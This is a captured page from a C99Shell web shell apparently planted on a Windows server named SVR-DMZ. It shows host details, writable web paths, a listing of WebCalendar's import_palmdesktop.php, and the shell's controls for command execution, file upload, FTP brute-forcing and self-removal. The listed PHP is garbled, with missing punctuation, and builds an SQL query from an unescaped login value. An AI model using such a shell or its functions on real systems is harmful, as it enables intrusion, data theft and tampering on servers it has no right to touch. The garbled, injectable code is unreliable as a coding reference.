!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\htdocs\php\OAB\WebCalendar-1.0.2\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     import_palmdesktop.php (2.11 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

// Parse the datebook file and return the data hash.
//
function parse_palmdesktop ($file$exc_private 1) {
  
$file EscapeShellArg($file);
  
$exc_private EscapeShellArg($exc_private);
  
exec ("perl tools/palm_datebook.pl $file $exc_private"$Entries);
  
$data = array ();
  while ( list( 
$line_num$line ) = each$Entries ) ) {
    
$data[] = ParseLine($line);
  }
  return 
$data;
}

// Delete all Palm Events for $login to clear any events deleted in the palm
// Return 1 if success
function delete_palm_events($login) {
  
$res dbi_query "SELECT cal_id FROM webcal_import_data " .
    
"WHERE cal_login = '$login' AND cal_import_type = 'palm'" );
  if ( 
$res ) {
     while ( 
$row dbi_fetch_row $res ) ) {
       
dbi_query "DELETE FROM webcal_entry_user WHERE cal_id = $row[0]);
       
dbi_query "DELETE FROM webcal_entry_repeats WHERE cal_id = $row[0]);
       
dbi_query "DELETE FROM webcal_entry_repeats_not WHERE cal_id = $row[0]);
       
dbi_query "DELETE FROM webcal_entry_log WHERE cal_entry_id = $row[0]);
       
dbi_query "DELETE FROM webcal_site_extras WHERE cal_id = $row[0]);
       
dbi_query "DELETE FROM webcal_reminder_log WHERE cal_id = $row[0]);
       
dbi_query "DELETE FROM webcal_import_data WHERE cal_id = $row[0]);
       
dbi_query "DELETE FROM webcal_entry WHERE cal_id = $row[0]);
     }
  }
  
dbi_free_result $res );
  return 
1;
}

function 
ParseLine($line){
  list(
    
$Entry['RecordID'],
    
$Entry['StartTime'],
    
$Entry['EndTime'],
    
$Entry['Summary'],
    
$Entry['Duration'],
    
$Entry['Description'],
    
$Entry['Untimed'],
    
$Entry['Private'],
    
$Entry['Category'],
    
$Entry['AlarmSet'],
    
$Entry['AlarmAdvanceAmount'],
    
$Entry['AlarmAdvanceType'],
    
$Entry['Repeat']['Interval'],
    
$Entry['Repeat']['Frequency'],
    
$Entry['Repeat']['EndTime'],
    
$Exceptions,
    
$Entry['Repeat']['RepeatDays'],
    
$WeekNum,
      ) = 
explode("|"$line);

  if (
$Exceptions$Entry['Repeat']['Exceptions'] = explode(":",$Exceptions);
  if ((
$WeekNum == '5') && ($Entry['Repeat']['Interval'] == '3')) $Entry['Repeat']['Interval'] = '6';
  return 
$Entry;
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.078 ]--